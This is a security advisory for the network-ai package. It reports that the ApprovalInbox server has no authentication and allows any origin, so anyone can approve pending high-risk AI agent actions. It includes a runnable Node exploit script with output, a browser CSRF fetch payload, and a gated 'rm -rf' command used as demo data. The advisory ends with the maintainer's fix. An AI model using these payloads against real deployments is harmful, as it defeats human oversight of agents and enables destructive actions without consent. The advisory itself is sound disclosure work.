[Medium] GHSA-mxjx-28vx-xjjj Network-AI: ApprovalInbox HTTP server has no authentication — anyone can approve pending agent actions

Summary

network-ai's ApprovalInbox (lib/approval-inbox.ts) is a shipped, exported, documented feature — "a web-accessible approval queue with REST API … and SSE streaming" (SECURITY.md). It is the network surface of the human-in-the-loop Approval Gate, which ApprovalGate uses to require explicit human approval for "high-risk operations (writes, shell commands, budget spend)" (SECURITY.md). The HTTP server it exposes has no authentication of any kind and sets Access-Control-Allow-Origin: * on every route, including the state-changing POST /approvals/:id/approve and /deny.

As a result, any party who can send an HTTP request to the inbox port — a co-located process, a container/SSRF on the same host, a remote client when the operator binds a non-loopback address, or any website the operator visits in a browser (via the wildcard CORS) — can enumerate pending approvals and approve them, defeating the entire human-in-the-loop control and causing the gated high-risk action (e.g. a shell command the agent was holding for review) to execute without consent.

This is the same vulnerability class the maintainer has already fixed twice on the MCP server (GHSA-fj4g-2p96-q6m3 missing auth; GHSA-j3vx-cx2r-pvg8 empty default secret) — the auxiliary ApprovalInbox server never received that hardening.

Affected: `network-ai { ... res.setHeader('Access-Control-Allow-Origin', '*'); // 256 { const approvedBy = typeof body.approvedBy === 'string' ? body.approvedBy : 'anonymous'; // defaults to 'anonymous' const entry = this.approve(approveMatch[1], approvedBy, reason); // resolves the gate -> action proceeds ... }); } }


`approve()` resolves the pending promise that `ApprovalGate` is awaiting, so the gated action proceeds:

```js
// lib/approval-inbox.ts:172-183 / 327-339
approve(id, approvedBy, reason) {
  ...
  return this.resolve(id, 'approved', { approved: true, approvedBy, reason });  // promise -> {approved:true}
}

startServer() binds the handler (default 127.0.0.1, but any host the caller passes):

// lib/approval-inbox.ts:281-286
startServer(port, hostname = '127.0.0.1') {
  const server = createServer(this.httpHandler());
  server.listen(port, hostname);
  return server;
}

There is no option to supply a secret/token (unlike McpSseServer/McpHttpServer, which require one and fail closed), and the wildcard ACAO: * is hardcoded — an operator cannot configure their way out of it.

Why the wildcard CORS matters

The two routes needed for exploitation are reachable cross-origin:

GET /approvals/?status=pending is a CORS simple request; ACAO: * lets a malicious page read the response and learn the pending approval ids.
POST /approvals/:id/approve with Content-Type: application/json triggers a preflight, which succeeds because the server answers OPTIONS with ACAO: *, Access-Control-Allow-Methods: …POST…, and Access-Control-Allow-Headers: Content-Type. The browser then sends the approve. approvedBy defaults to 'anonymous', so no special body is required.

So a website the operator merely visits while the inbox is running can enumerate and approve all pending high-risk actions.

Proof of Concept

Self-contained against the published [email protected] package (no project files needed; re-confirmed 2026-06-17). It starts the documented ApprovalInbox server, has an agent submit a high-risk gated action, then acts as an unauthenticated client.

mkdir na-poc && cd na-poc && npm init -y >/dev/null && npm i [email protected]
node poc.mjs

poc.mjs:

import { ApprovalInbox } from "network-ai";
import http from "node:http";

const PORT = 7798;
const req = (method, path, body) => new Promise((resolve, reject) => {        // plain client — NO Authorization header
  const data = body ? JSON.stringify(body) : undefined;
  const r = http.request({ host: "127.0.0.1", port: PORT, method, path,
    headers: data ? { "Content-Type": "application/json", "Content-Length": Buffer.byteLength(data) } : {} },
    (res) => { let b = ""; res.on("data", c => b += c); res.on("end", () => { let j; try { j = JSON.parse(b); } catch { j = b; } resolve({ status: res.statusCode, json: j }); }); });
  r.on("error", reject); if (data) r.write(data); r.end();
});

const inbox = new ApprovalInbox();
const gate = inbox.callback();                                 // what ApprovalGate calls before a dangerous action
inbox.startServer(PORT, "127.0.0.1");                          // the documented "web-accessible approval queue"
await new Promise(r => setTimeout(r, 150));

let resolved = false;
const decisionP = gate({ action: "shell_execute", target: "rm -rf /important/data",
  agentId: "worker-1", justification: "cleanup", riskLevel: "high" }).then(d => (resolved = true, d));
console.log("Gated dangerous action pending human approval. resolved =", resolved);

const list = await req("GET", "/approvals/?status=pending");   // attacker enumerates pending approvals
const id = list.json[0].id;
const approve = await req("POST", `/approvals/${id}/approve`, { approvedBy: "attacker" });  // and approves one
console.log("[attacker] GET /approvals/  (no auth) ->", list.status, "ids:", list.json.map(e => e.id));
console.log("[attacker] POST /approvals/" + id + "/approve (no auth) ->", approve.status, approve.json?.status);
const decision = await decisionP;
console.log(">>> gate decision delivered to agent:", JSON.stringify(decision), "| WIPED WITHOUT AUTH:", decision.approved && resolved);

Output:

Gated dangerous action pending human approval. resolved = false
[attacker] GET /approvals/  (no auth) -> 200 ids: [ '07d6f277efe35ac1' ]
[attacker] POST /approvals/07d6f277efe35ac1/approve (no auth) -> 200 approved
>>> gate decision delivered to agent: {"approved":true,"approvedBy":"attacker"} | WIPED WITHOUT AUTH: true

The gated action (shell_execute: rm -rf /important/data, riskLevel: high) is approved by a client that sent no Authorization header, and the ApprovalGate promise resolves { approved: true } — the agent proceeds.

Browser CSRF variant (no tooling, just a visited page):


fetch('http://127.0.0.1:PORT/approvals/?status=pending')      // ACAO:* -> readable
  .then(r => r.json())
  .then(list => list.forEach(e =>
    fetch(`http://127.0.0.1:PORT/approvals/${e.id}/approve`, {
      method: 'POST', headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ approvedBy: 'attacker' })          // preflight passes via ACAO:*
    })));

Impact

The Approval Gate is the package's human-in-the-loop safety control for high-risk agent operations (shell commands, file writes, budget spend — SECURITY.md). Unauthenticated, cross-origin access to its inbox lets an attacker:

Approve any pending gated action → the agent executes an operation that was explicitly held for human review (integrity/availability impact; the gated action is whatever the agent proposed).
Read pending requests (GET /approvals, /stats) → disclosure of queued action details (command strings, file paths, justifications).
Deny pending actions → suppress legitimate operations.

The attacker controls the approval decision, not the action content, but the net effect is that the human-in-the-loop guarantee is void for any deployment that exposes the inbox — which is the inbox's documented purpose ("web-accessible approval queue").

Alignment with the security policy & documentation (in scope; not intended/documented behavior)

This finding does not contradict any documented design choice — it exposes a gap the documentation overlooks, and it matches a vulnerability class the maintainer has already accepted:

Documented as a security measure, never as intentionally unauthenticated. SECURITY.md lists the Approval Inbox under "Security Measures in Network-AI" — "ApprovalInbox provides a web-accessible approval queue with REST API (/list, /approve/:id, /deny/:id, /stats)" — and README.md / ENTERPRISE.md describe it the same way. No document states it requires authentication, nor that the operator must place it behind their own auth. A documented security control (human-in-the-loop approval for "writes, shell commands, budget spend") that anyone can bypass without credentials is a defect in that control, not its intended behavior.
The project's own threat model treats this exact adversary as in scope. THREAT_MODEL.md §3.1 designs against an "Unauthenticated Network Caller" that can reach a bound TCP port, with mitigations: require a non-empty secret, default to 127.0.0.1, warn on non-loopback bind. It applies all of these to the MCP server — but it never lists ApprovalInbox as a network boundary at all (an omission, not a carve-out), and the inbox has none of those mitigations.
Direct precedent — the maintainer already fixed this class. The identical issue on the MCP server was accepted and patched: GHSA-j3vx-cx2r-pvg8 ("Unauthenticated Cross-Origin MCP Tool Invocation," fixed in v5.4.5 by requiring a secret and restricting CORS to localhost origins) and GHSA-r78r-rwrf-rjwp (fail-closed on empty secret, v5.7.2). The ApprovalInbox is a second network-reachable server with the same flaw; it simply never received that hardening.
No carve-out covers it. The threat model's Explicit Non-Goals (localhost-IPC encryption, SLA, anti-analysis, npm-registry compromise) don't apply, and the documented ClawHub "by-design" Notes (ASI01 goal-hijack, ASI03 advisory tokens, ASI06 context poisoning, ASI07 inter-agent messaging) are unrelated — the approval inbox is a control plane, not inter-agent transport.
The operator cannot fix it within the library. Unlike the MCP server (which now accepts a secret), ApprovalInbox exposes no auth option and hardcodes Access-Control-Allow-Origin: *. So "the operator should add auth / restrict CORS" is not available — there is no hook to do so. And "it's opt-in / operator-exposed" did not exempt the MCP server, which is equally optional and explicitly started.

Honest scope caveat (state it plainly in the report). ApprovalInbox.startServer() is opt-in (not auto-started by a CLI bin) and defaults to 127.0.0.1, so the realistic vectors are (a) the wildcard-CORS drive-by from a page the operator visits, (b) a co-located/SSRF local process, or (c) a non-loopback bind. That bounds severity to Medium–High — but it is squarely the same class, on the same kind of surface, that the project's threat model and prior advisories already treat as a vulnerability.

Recommended fix

Require a bearer secret on the inbox HTTP server, fail closed on empty secret, and verify it on /approve, /deny, and ideally the list/stats/SSE routes — mirroring the hardening already applied to McpSseServer/McpHttpServer.
Remove the hardcoded Access-Control-Allow-Origin: *; default to no CORS (same-origin) or an explicit allowlist, and never reflect * on the mutating routes.
Optionally add a CSRF token / require a non-simple custom header on POST to block browser-driven approval.

References

CWE-862, CWE-352
Affected: lib/approval-inbox.ts (httpHandler l.256 CORS, routeRequest l.369-405 no-auth approve/deny, startServer l.281); exported at index.ts:1126.
Same class as prior accepted advisories: GHSA-fj4g-2p96-q6m3 (MCP missing auth, fixed v5.1.3), GHSA-j3vx-cx2r-pvg8 (MCP unauthenticated cross-origin invocation — fixed v5.4.5 by requiring a secret + restricting CORS to localhost), GHSA-r78r-rwrf-rjwp (MCP fail-closed on empty secret, v5.7.2). The ApprovalInbox server never received this hardening.
Documentation this finding is measured against: SECURITY.md (Approval Inbox listed under "Security Measures"; Approval Gate = human-in-the-loop for "writes, shell commands, budget spend"), THREAT_MODEL.md §3.1 ("Unauthenticated Network Caller" adversary + its mitigations), README.md / ENTERPRISE.md ("web-accessible approval queue"). None document the inbox as intentionally unauthenticated or require operator-supplied auth.
Disclosure: GitHub private security advisory (Jovancoding/Network-AI → Security → "Report a vulnerability"), per SECURITY.md.

Resolution (maintainer)

Fixed in v5.12.2 (commit a59c13a). Install: npm install [email protected] — published to npm with provenance.

ApprovalInbox now accepts a secret option. When set, the mutating endpoints POST /:id/approve and POST /:id/deny require an Authorization: Bearer header, validated in constant time with crypto.timingSafeEqual. startServer() already binds to 127.0.0.1 by default; operators exposing the inbox on a network must set a secret.

All 3,269 tests pass against the patched build. Thanks to @EchoSkorJjj for the responsible disclosure.